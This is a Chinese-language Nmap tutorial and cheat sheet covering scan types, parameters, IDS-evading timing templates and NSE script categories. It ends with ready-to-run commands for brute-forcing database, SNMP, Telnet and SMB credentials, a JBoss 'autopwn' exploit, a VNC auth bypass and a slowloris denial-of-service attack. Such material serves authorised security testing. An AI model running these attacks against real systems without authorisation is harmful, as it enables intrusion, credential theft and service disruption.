Nmap使用 Nmap是主机扫描工具,他的图形化界面是Zenmap,分布式框架为Dnamp。

Nmap可以完成以下任务:

主机探测 端口扫描 版本检测 系统检测 支持探测脚本的编写

Nmap在实际中应用场合如下: 通过对设备或者防火墙的探测来审计它的安全性 探测目标主机所开放的端口 通过识别新的服务器审计网络的安全性 探测网络上的主机

常用端口如下 HTTP 80 HTTPS 443 Telnet 23 FTP 21 SSH 22 SMTP 25 POP3 110 WebLogic 7001 TOMCAT 8080 远程登录 3389 Oracle数据库 1521 MS SQL* SEVER 1433 MySQL 3306

1、nmap简单扫描 nmap 192.168.120.116 2、nmap简单扫描,并对结果返回详细的描述输出 nmap -vv 192.168.120.116 3、nmap自定义端口扫描 nmap -p21,443,22 192.168.120.116 (指定不连续的端口) nmap -p100-200 192.168.120.116 (指定连续的端口) 4、nmap ping扫描 (可以很方便的找出某个网段存活的主机) nmap -sP 192.168.120.0/24 5、nmap 路由跟踪 nmap --traceroute 192.168.120.116 6、nmap 操作系统类型的探测 nmap -O 192.168.120.116 7、nmap 综合扫描(包含端口扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测) nmap -A 192.168.120.116 8、nmap混合扫描 nmap -vv -p1-200 -O 192.168.120.116 9、半开放扫描(执行快,效率高,一般用于ip较多的情况下使用) nmap -sS 192.168.0.0/16 10、(用于防火墙禁止png的情况下使用) nmap -P0 192.168.120.116 11、

参数介绍

nmap -e 指定网络接口 nmap -v 详细信息输出 nmap -p 指定端口 nmap -iR 全网扫描 nmap -iL 扫描文件中的ip nmap -exclude 不扫描某些ip nmap -PO 有些主机关闭了ping检测所以使用这条命令可以跳过ping的探测加快扫描 nmap -PS 端口(SYN) nmap -PU 端口(UDP) nmap -Pn 使用ping扫描,显式地关闭端口扫描,用于主机发现 nmap -sn 使用ping扫描,进行端口扫描,假设主机都是up的,返回主机ip和mac nmap -sA 向目标主机的端口发送ACK包,如果收到RST包,说明该端口没有被防火墙屏。该方式 只能用于确定防火墙是否屏蔽某个端口 nmap -sS 使用SYN扫描,不需要完成三次握手(隐蔽扫描) nmap -sT 扫描开放了tcp端口的设备,需要完成三次握手的tcp扫描 nmap -sU 扫描UDP端口 nmap -sF FIN扫描,用于探测防火墙状态,识别端口是否关闭,容易漏扫 nmap -sV 扫描目标主机的端口和软件版本 nmap -sO 探测主机支持那些ip协议 nmap -sW 窗口扫描,得出一些端口信息 nmap -sP 对对应主机端的主机发送ICMP报文,查询哪些主机是存活的 nmap -O 远程检测操作系统和软件 nmap -O --osscan-guess 猜测目标操作系统版本 nmap -traceroute 路由跟踪 nmap -A 综合扫描,包含1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测 nmap -oN result.txt 将标准输出写入到指定文件中 nmap -oX result.xml 将输入写成xml的形式 nmap -oS result.txt 将输出写成特殊符号的形式,内容跟-oN是一样的,只是字体变了而已 nmap -oG result.txt 将输出写成特殊格式 nmap -oA 将输出所有格式,有三种 .xml/ .gnmap/ .nmap nmap -T[0-5] 时间参数模板    -T0 用于躲避IDS,时间很长   -T1 用于躲避IDS,时间很长   -T2 降低了扫描速度,使用更小的带宽和目标主机资源对目标靶机进行扫描   -T3 默认模式,未做优化   -T4 假设用户具有合适及可靠的网络而加速对目标靶机的扫描   -T5 假设用户具有更好的网络或者愿意牺牲准确性而加速扫描 nmap -sC 根据端口识别服务自动调用默认脚本 nmap --script

nmap按脚本分类扫描 nmap脚本主要分为以下几类,在扫描时可根据需要设置--script=类别这种方式进行比较笼统的扫描:

auth: 负责处理鉴权证书(绕开鉴权)的脚本
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

nmap --script=broadcast-netbios-master-browser 192.168.137.4 发现网关
nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4 破解rsync
nmap --script informix-brute -p 9088 192.168.137.4 informix数据库破解
nmap -p 5432 --script pgsql-brute 192.168.137.4 pgsql破解
nmap -sU --script snmp-brute 192.168.137.4 snmp破解
nmap -sV --script=telnet-brute 192.168.137.4 telnet破解
nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' <target> jboss autopwn
nmap --script=http-methods.nse 192.168.137.4 检查http方法
nmap --script http-slowloris --max-parallelism 400 192.168.137.4 dos攻击,对于处理能力较小的站点还挺好用的 'half-HTTP' connections
nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4

oracle sid扫描 nmap --script=oracle-sid-brute -p 1521-1560 192.168.137.5
oracle弱口令破解 nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.137.5 列出所有mysql用户 nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4 nmap --script=mysql-* 192.168.137.4 扫描root空口令 nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4
猜解mssql用户名和密码 nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4 系统信息 nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test 192.168.137.4 查看会话 nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=test,smbpass=test 192.168.137.4
查看共享目录 nmap -p 445 --script smb-ls --script-args ‘share=e$,path=,smbuser=test,smbpass=test’ 192.168.137.4 vnc扫描: nmap --script=realvnc-auth-bypass 192.168.137.4

检查vnc认证方式 nmap --script=vnc-auth 192.168.137.4 获取vnc信息 nmap --script=vnc-info 192.168.137.4 smb破解 nmap --script=smb-brute.nse 192.168.137.4 smb字典破解 nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4